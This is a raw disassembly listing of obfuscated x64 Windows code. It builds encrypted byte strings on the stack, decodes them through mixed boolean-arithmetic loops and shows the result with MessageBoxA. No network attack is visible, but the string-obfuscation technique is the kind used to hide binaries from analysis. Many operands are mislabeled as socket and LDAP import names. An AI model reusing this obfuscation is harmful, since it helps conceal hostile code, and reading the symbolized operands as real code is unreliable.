mov byte [rbp + 0x86e], 0x56
mov byte [rbp + 0x86f], 0x7c
mov byte [rbp + 0x870], 0x42
mov byte [rbp + 0x871], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x872], Ordinal_79
mov byte [rbp + 0x873], WSACleanup
mov byte [rbp + 0x874], Ordinal_45
mov byte [rbp + 0x875], 0x46
mov byte [rbp + 0x876], 0x79
mov byte [rbp + 0x877], 0x44
mov byte [rbp + 0x878], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x879], 0x68
mov byte [rbp + 0x87a], 0x7d
mov byte [rbp + 0x87b], WSACleanup
mov byte [rbp + 0x87c], 0x76
mov byte [rbp + 0x87d], 0x7e
mov byte [rbp + 0x87e], WSACleanup
mov byte [rbp + 0x87f], Ordinal_79
mov byte [rbp + 0x880], 0x7d
mov byte [rbp + 0x881], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x882], Ordinal_41
mov byte [rbp + 0x883], 0x54
mov byte [rbp + 0x884], WSASetLastError
mov byte [rbp + 0x885], 0x52
mov byte [rbp + 0x886], WSASetLastError
mov byte [rbp + 0x887], 0x3f
mov byte [rbp + 0x888], 0x79
mov byte [rbp + 0x889], 0x78
mov byte [rbp + 0x88a], 0x79
mov byte [rbp + 0x88b], 0x62
mov byte [rbp + 0x88c], 0x59
mov byte [rbp + 0x88d], 0x63
mov byte [rbp + 0x88e], 0x64
mov byte [rbp + 0x88f], gethostname
mov byte [rbp + 0x890], WSAGetLastError
mov byte [rbp + 0x891], 0x60
mov byte [rbp + 0x892], gethostname
mov byte [rbp + 0x893], recv
mov byte [rbp + 0x894], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x895], Ordinal_79
mov byte [rbp + 0x896], reloc.WS2_32.dll_recv
mov byte [rbp + 0x897], reloc.WS2_32.dll_recv
mov byte [rbp + 0x898], reloc.WS2_32.dll_socket
mov byte [rbp + 0x899], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x89a], Ordinal_79
mov byte [rbp + 0x89b], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x89c], Ordinal_30
mov byte [rbp + 0x89d], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x89e], Ordinal_30
mov byte [rbp + 0x89f], 0x47
mov byte [rbp + 0x8a0], reloc.WS2_32.dll_socket
mov byte [rbp + 0x8a1], Ordinal_35
mov byte [rbp + 0x8a2], 0x44
mov byte [rbp + 0x8a3], 2
mov byte [rbp + 0x8a4], 1
mov byte [rbp + 0x8a5], reloc.WS2_32.dll_listen
mov byte [rbp + 0x8a6], recv
mov byte [rbp + 0x8a7], 0
mov byte [rbp + 0x8a8], recv
mov byte [rbp + 0x8a9], 4
mov byte [rbp + 0x8aa], 0x5c
mov byte [rbp + 0x8ab], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x8ac], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x8ad], 3
mov byte [rbp + 0x8ae], 2
mov byte [rbp + 0x8af], recv
mov byte [rbp + 0x8b0], reloc.WS2_32.dll_select
mov byte [rbp + 0x8b1], 0x47
mov byte [rbp + 0x8b2], 0x54
mov byte [rbp + 0x8b3], 0x5b
mov byte [rbp + 0x8b4], gethostname
mov byte [rbp + 0x8b5], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x8b6], Ordinal_50
mov byte [rbp + 0x8b7], Ordinal_60
mov byte [rbp + 0x8b8], gethostname
mov byte [rbp + 0x8b9], WSASetLastError
mov byte [rbp + 0x8ba], 7
mov byte [rbp + 0x8bb], gethostname
mov byte [rbp + 0x8bc], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x8bd], 0x61
mov byte [rbp + 0x8be], Ordinal_45
mov byte [rbp + 0x8bf], gethostname
mov byte [rbp + 0x8c0], 0x66
mov byte [rbp + 0x8c1], Ordinal_35
mov byte [rbp + 0x8c2], gethostname
mov byte [rbp + 0x8c3], Ordinal_50
mov byte [rbp + 0x8c4], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x8c5], Ordinal_50
mov byte [rbp + 0x8c6], Ordinal_45
mov byte [rbp + 0x8c7], gethostname
mov byte [rbp + 0x8c8], Ordinal_45
mov byte [rbp + 0x8c9], Ordinal_41
mov byte [rbp + 0x8ca], 0x7c
mov byte [rbp + 0x8cb], gethostname
mov byte [rbp + 0x8cc], gethostname
mov byte [rbp + 0x8cd], gethostname
mov byte [rbp + 0x8ce], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x8cf], Ordinal_30
mov byte [rbp + 0x8d0], Ordinal_41
mov byte [rbp + 0x8d1], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x8d2], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x8d3], 0xda
mov byte [rbp + 0x8d4], 0xdc
mov byte [rbp + 0x8d5], Ordinal_143
mov byte [rbp + 0x8d6], Ordinal_217
mov byte [rbp + 0x8d7], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x8d8], 0xdf
mov byte [rbp + 0x8d9], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x8da], Ordinal_217
mov byte [rbp + 0x8db], Ordinal_217
mov byte [rbp + 0x8dc], Ordinal_200
mov byte [rbp + 0x8dd], 0x81
mov byte [rbp + 0x8de], 0xe9
mov byte [rbp + 0x8df], Ordinal_217
mov byte [rbp + 0x8e0], Ordinal_211
mov byte [rbp + 0x8e1], 0xdd
mov byte [rbp + 0x8e2], 0x84
mov byte [rbp + 0x8e3], 0xde
mov byte [rbp + 0x8e4], 0xdd
mov byte [rbp + 0x8e5], 0xf2
mov byte [rbp + 0x8e6], 0xcc
mov byte [rbp + 0x8e7], 0xc0
mov byte [rbp + 0x8e8], Ordinal_211
mov byte [rbp + 0x8e9], Ordinal_211
mov byte [rbp + 0x8ea], 0x9b
mov byte [rbp + 0x8eb], reloc.WS2_32.dll_WSAStartup
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x8ec], xmm0
mov dword [rbp + 0x8fc], eax
mov word [rbp + 0x900], ax
mov byte [rbp + 0x902], al
movzx edx, byte [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
cmp rbx, 0xb3
jae 0x1400b948e
movzx r10d, byte [rbp + rbx + 0x850]
mov edi, r10d
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400b9485
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400b897e
lea rcx, [rbx + 0x125fd]
mov rax, rcx
and rax, rdi
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, rdi
add dl, 0x15
jmp 0x1400b89ab
je 0x1400b9417
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b938f
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b9337
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400b9317
movzx r11d, bl
nop
cmp r9, rbx
ja 0x1400b947c
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400b89d9
lea ecx, [r11 - 0x3f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x47
jmp 0x1400b8a20
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b92d3
inc rax
cmp r8, rax
je 0x1400b92b1
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b9297
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b927b
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400b924e
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400b8f6c
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400b8f51
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400b8f28
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400b8f02
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400b8ee8
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400b8ecc
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400b8eb0
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400b8e95
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b8e75
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b8e44
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400b8a30
lea r8, [r9 + 0xa]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400b9460
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400b9444
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400b8c18
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400b8bfe
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400b8be4
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400b8dfc
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400b8db4
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400b8d77
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400b8d51
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400b8a30
lea r8, [r9 + 0x64]
lea r9, [r8 + 1]
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400b8d20
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400b8d02
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400b8ce8
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400b8ccc
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400b8cac
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400b8c91
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400b8c6b
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400b8c46
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400b8c34
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400b8a30
lea r8, [r9 + 0x61]
lea r9, [r8 + 8]
jmp 0x1400b8a30
lea ecx, [r11 + 0x5f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x67
jmp 0x1400b8a20
lea ecx, [r11 + 0x65]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x3d
jmp 0x1400b89b0
add r11b, 0x6b
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x13
jmp 0x1400b8950
lea edx, [r11 + 8]
movzx eax, r10b
and al, dl
sub dl, 0x38
jmp 0x1400b92e0
add r11b, 0xe
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x62
inc r9
dec rbx
inc rbx
jmp 0x1400b8932
add r11b, 0x14
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400b8932
lea edx, [r11 + 0x1a]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400b9350
add r11b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b9374
add r11b, 0x26
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0xa
jmp 0x1400b9377
lea edx, [r11 + 0x2c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x34
jmp 0x1400b93aa
add r11b, 0x32
movzx eax, r10b
and al, r11b
add al, al
movzx edx, r10b
sub dl, al
sub dl, 0x5e
add dl, r11b
jmp 0x1400b93d7
add r11b, 0x38
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x850]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b8932
add r11b, 0x47
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0xf
mov byte [rbp + rbx + 0x850], dl
inc rbx
jmp 0x1400b8932
lea edx, [r11 + 0x4d]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x1b
add dl, cl
cmp r9, 0x28
jb 0x1400b8d68
lea edx, [r11 - 0x32]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea edx, [rcx*2 - 0x44]
jmp 0x1400b92ea
lea edx, [r11 + 0x53]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x45
add dl, cl
cmp r8, 6
jae 0x1400b921b
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x1400b9145
lea edx, [r11 + 0xa]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x46
jmp 0x1400b8d8c
lea edx, [r11 + 0x59]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x6f
add dl, cl
lea rax, [r9 + r8]
cmp rax, 0x2a
je 0x1400b9238
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x1400b9073
lea edx, [r11 + 0x49]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
inc dl
jmp 0x1400b8dc9
sub r11b, 0x7a
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x850]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b8932
sub r11b, 0x74
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b93d7
lea edx, [r11 - 0x6e]
movzx eax, r10b
and al, dl
mov ecx, 1
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400b93aa
sub r11b, 0x68
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x28
jmp 0x1400b9377
sub r11b, 0x62
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x52
jmp 0x1400b9374
lea edx, [r11 - 0x5c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x7c
jmp 0x1400b9350
sub r11b, 0x56
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400b8932
sub r11b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400b8932
lea edx, [r11 - 0x4a]
movzx eax, r10b
and al, dl
mov ecx, 3
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400b92e8
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1400b8f92
lea edx, [r11 - 3]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x15
jmp 0x1400b8e11
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b8fcc
sub r11b, 0x7e
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x850]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b8932
inc rax
cmp r8, rax
jne 0x1400b8fee
lea edx, [r11 + 0x76]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x3a
jmp 0x1400b93aa
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b9012
lea edx, [r11 + 0x64]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400b9350
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400b9041
add r11b, 0x5e
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400b8932
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400b8e13
add r11b, 0x58
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x68
inc r9
dec rbx
inc rbx
jmp 0x1400b8932
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b908e
lea edx, [r11 + 0x43]
movzx eax, r10b
and al, dl
add dl, 0x2b
jmp 0x1400b92e0
inc rax
cmp r8, rax
jne 0x1400b90bb
add r11b, 0x3d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x55
inc r9
dec rbx
inc rbx
jmp 0x1400b8932
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b90e6
add r11b, 0x37
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x7f
dec rbx
inc rbx
jmp 0x1400b8932
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b910b
add r11b, 0x25
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 3
jmp 0x1400b9377
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b8dcb
add r11b, 0x13
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x7b
movzx eax, byte [rbp + rbx + 0x850]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b8932
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b917b
add r11b, 4
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x1c
movzx eax, byte [rbp + rbx + 0x850]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b8932
inc rax
cmp r8, rax
jne 0x1400b91a3
sub r11b, 0xe
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b9377
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b91c8
sub r11b, 0x14
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x74
jmp 0x1400b9374
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400b91f3
sub r11b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x20
dec rbx
inc rbx
jmp 0x1400b8932
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b8d8e
lea edx, [r11 - 0x2c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400b92e8
lea ecx, [r11 - 0x38]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x78
add dl, r10b
jmp 0x1400b9352
lea ecx, [r11 - 0x3e]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [rcx - 0x4e]
jmp 0x1400b93ac
sub r11b, 0x75
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x33
movzx eax, byte [rbp + rbx + 0x850]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b8932
sub r11b, 0x63
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x4b
jmp 0x1400b9377
lea edx, [r11 - 0x57]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x61
jmp 0x1400b9350
sub r11b, 0x51
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x37
dec rbx
inc rbx
jmp 0x1400b8932
lea edx, [r11 - 0x45]
movzx eax, r10b
and al, dl
sub dl, 0x1d
add al, al
movzx ecx, r10b
sub cl, al
add dl, cl
sub r11b, 0x35
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 0x73
add r11b, r10b
mov byte [rbp + rbx + 0x850], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400b8932
lea ecx, [rbx - 0x2d]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x3b
dec rbx
inc rbx
jmp 0x1400b8932
movzx r11d, bl
lea edx, [r11 - 0x27]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x11
add dl, cl
sub r11b, 0x3b
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x63
add r11b, dl
add r11b, r10b
mov byte [rbp + rbx + 0x850], r11b
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400b8932
lea rcx, [rbx + 0x809eb]
and dil, cl
add dil, dil
movzx edx, r10b
sub dl, dil
sub dl, 0x6d
movzx r11d, bl
add dl, cl
sub r11b, 0x41
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x39
add r11b, r10b
movzx eax, r11b
mov byte [rbp + rbx + 0x850], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x24
add cl, r10b
mov byte [rbp + rbx + 0x850], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x850]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b8932
lea rax, [rbx + 0x371f7]
and dil, al
add dil, dil
sub r10b, dil
lea edx, [rax + r10]
add dl, 0x3f
movzx eax, byte [rbp + rbx + 0x850]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b8932
add r11b, 0x71
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x17
jmp 0x1400b8930
add r11b, 0x77
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x41
jmp 0x1400b8920
lea rdx, [rbp + 0x1458e4c]
jmp 0x1400b9495
lea rdx, [rbp + 0x106b449]
jmp 0x1400b9495
lea rdx, [rbp + 0x850]
mov r9d, Ordinal_50
mov r8, rsi
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
movabs r13, 0x8780aff01ea17a81
movzx r12d, byte [rsp + 0x30]
movzx r14d, byte [rsp + 0x30]
movzx r15d, byte [rsp + 0x30]
mov byte [rbp + 0x348], 0x64
mov byte [rbp + 0x349], 0x40
mov byte [rbp + 0x34a], WSACleanup
mov byte [rbp + 0x34b], 0x47
mov byte [rbp + 0x34c], 0x43
mov byte [rbp + 0x34d], 0x45
mov byte [rbp + 0x34e], WSASetLastError
mov byte [rbp + 0x34f], Ordinal_79
mov byte [rbp + 0x350], 0x7d
mov byte [rbp + 0x351], 0x42
mov byte [rbp + 0x352], 0x77
mov byte [rbp + 0x353], Ordinal_79
mov byte [rbp + 0x354], 0x98
mov byte [rbp + 0x355], WSASetLastError
mov byte [rbp + 0x356], 0x58
mov byte [rbp + 0x357], 0x64
mov byte [rbp + 0x358], 0x90
mov byte [rbp + 0x359], WSASetLastError
mov byte [rbp + 0x35a], 0x58
mov byte [rbp + 0x35b], WSASetLastError
mov byte [rbp + 0x35c], Ordinal_200
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x35d], xmm0
mov qword [rbp + 0x36d], rax
mov dword [rbp + 0x375], eax
mov word [rbp + 0x379], ax
nop word [rax + rax]
mov r9, qword [0x14022c4b8]
mov r10, qword [0x14022c4b0]
nop
xor esi, esi
cmp rsi, 0x33
jae 0x1400b9e82
movzx r11d, byte [rbp + rsi + 0x348]
mov edx, r11d
nop dword [rax + rax]
cmp r9, rsi
ja 0x1400b9e79
lea rcx, [r10 + 1]
cmp r9, rcx
jae 0x1400b95df
lea rcx, [rsi + 0x125e3]
mov rax, rdx
and rax, rcx
imul r12, rax, 0xfffffffffffffffe
add r12, rdx
add r12, rcx
sub r12b, 0x35
jmp 0x1400b9619
je 0x1400b9e0b
lea rax, [r10 + 3]
cmp r9, rax
je 0x1400b9d83
lea rax, [rcx + 1]
cmp r9, rax
je 0x1400b9d52
lea rax, [r10 + 2]
cmp r9, rax
je 0x1400b9d14
lea rax, [r10 + 7]
cmp r9, rax
je 0x1400b9ccd
movzx r8d, sil
nop dword [rax]
cmp r10, rsi
ja 0x1400b9e70
lea rcx, [r10 + 1]
cmp r9, rcx
jae 0x1400b964a
lea ecx, [r8 - 0x61]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
sub r12b, 0x59
jmp 0x1400b9680
je 0x1400b9cb5
lea rax, [r10 + 3]
cmp r9, rax
je 0x1400b9c92
lea rax, [rcx + 1]
cmp r9, rax
je 0x1400b9c75
lea rax, [r10 + 7]
cmp r9, rax
je 0x1400b9c47
nop word [rax + rax]
lea rax, [r10 + r9]
cmp rax, rsi
jbe 0x1400b9911
nop dword [rax]
lea rax, [r10 + 0x80]
cmp r9, rax
je 0x1400b98f1
lea rax, [r10 + 0x20]
cmp r9, rax
je 0x1400b98cb
lea rcx, [r10 + 6]
cmp r9, rcx
je 0x1400b98a4
lea rax, [r10 + 1]
cmp r9, rax
je 0x1400b9889
lea rax, [r10 + 0x61]
cmp r9, rax
je 0x1400b986c
mov r9, rcx
lea r10, [rcx + 0x80]
lea rax, [r10 + 1]
cmp rcx, rax
jb 0x1400b9e53
lea rax, [r10 + 0x61]
cmp rcx, rax
jb 0x1400b9e36
lea rcx, [r10 + 0x80]
cmp r9, rcx
jb 0x1400b97a3
lea rax, [r10 + 0x20]
cmp r9, rax
jb 0x1400b9788
lea rax, [r10 + 6]
cmp r9, rax
jb 0x1400b976d
mov r9, rcx
lea r10, [rcx + 1]
lea rax, [r10 + 0x20]
cmp rcx, rax
ja 0x1400b983e
lea rax, [r10 + 6]
cmp rcx, rax
ja 0x1400b981d
lea rcx, [r10 + 1]
cmp r9, rcx
ja 0x1400b97fe
lea rax, [r10 + 0x61]
cmp r9, rax
ja 0x1400b97dd
lea rax, [r10 + 0x80]
cmp r9, rax
ja 0x1400b97c0
mov r9, rcx
lea r10, [rcx + 0x20]
jmp 0x1400b9690
lea ecx, [r8 + 0x41]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
add r12b, 0x39
jmp 0x1400b9680
lea ecx, [r8 + 0x7b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
sub r12b, 0x5d
jmp 0x1400b9620
sub r8b, 0x4b
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r12d, [r11 + r8]
add r12b, 0xd
jmp 0x1400b95b0
sub r8b, 0x20
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
lea r12d, [r8 + r11]
sub r12b, 0x20
jmp 0x1400b9d67
add r8b, 0x1a
movzx eax, r11b
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea r12d, [rcx + rcx]
add r12b, r11b
add r12b, r8b
jmp 0x1400b9d6a
lea edx, [r8 + 0x54]
movzx eax, r11b
and al, dl
add al, al
movzx r12d, r11b
sub r12b, al
sub r12b, 0x4c
add r12b, dl
jmp 0x1400b9d9c
sub r8b, 0x72
movzx eax, r11b
and al, r8b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r12d, [rcx + rcx]
add r12b, r11b
add r12b, r8b
jmp 0x1400b9dc8
sub r8b, 0x38
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
lea r12d, [r8 + r11]
sub r12b, 0x78
movzx eax, byte [rbp + rsi + 0x348]
add rax, r10
add rsi, rax
inc rsi
jmp 0x1400b9592
sub r8b, 0x5e
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r12d, [r11 + r8]
sub r12b, 0x6e
jmp 0x1400b9d67
lea ecx, [r8 - 0x24]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
sub r12b, 4
jmp 0x1400b9d2e
add r8b, 0x16
movzx eax, r8b
and al, r11b
mov ecx, 0x33
sub cl, al
lea r12d, [rcx + rcx]
add r12b, r8b
add r12b, r11b
dec rsi
inc rsi
jmp 0x1400b9592
add r8b, 0x50
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r12d, [r11 + r8]
sub r12b, 0x30
inc r10
dec rsi
inc rsi
jmp 0x1400b9592
lea edx, [r8 - 0x76]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r11b
jmp 0x1400b9ce7
lea rax, [r10 + 1]
cmp r9, rax
jae 0x1400b99ac
lea ecx, [r8 - 0x1d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
sub r12b, 0x35
lea rax, [r10 + r9]
cmp rax, 0x80
je 0x1400b9c2a
lea rax, [r10 + 1]
cmp r9, rax
jbe 0x1400b9aab
lea ecx, [r8 + 0x17]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
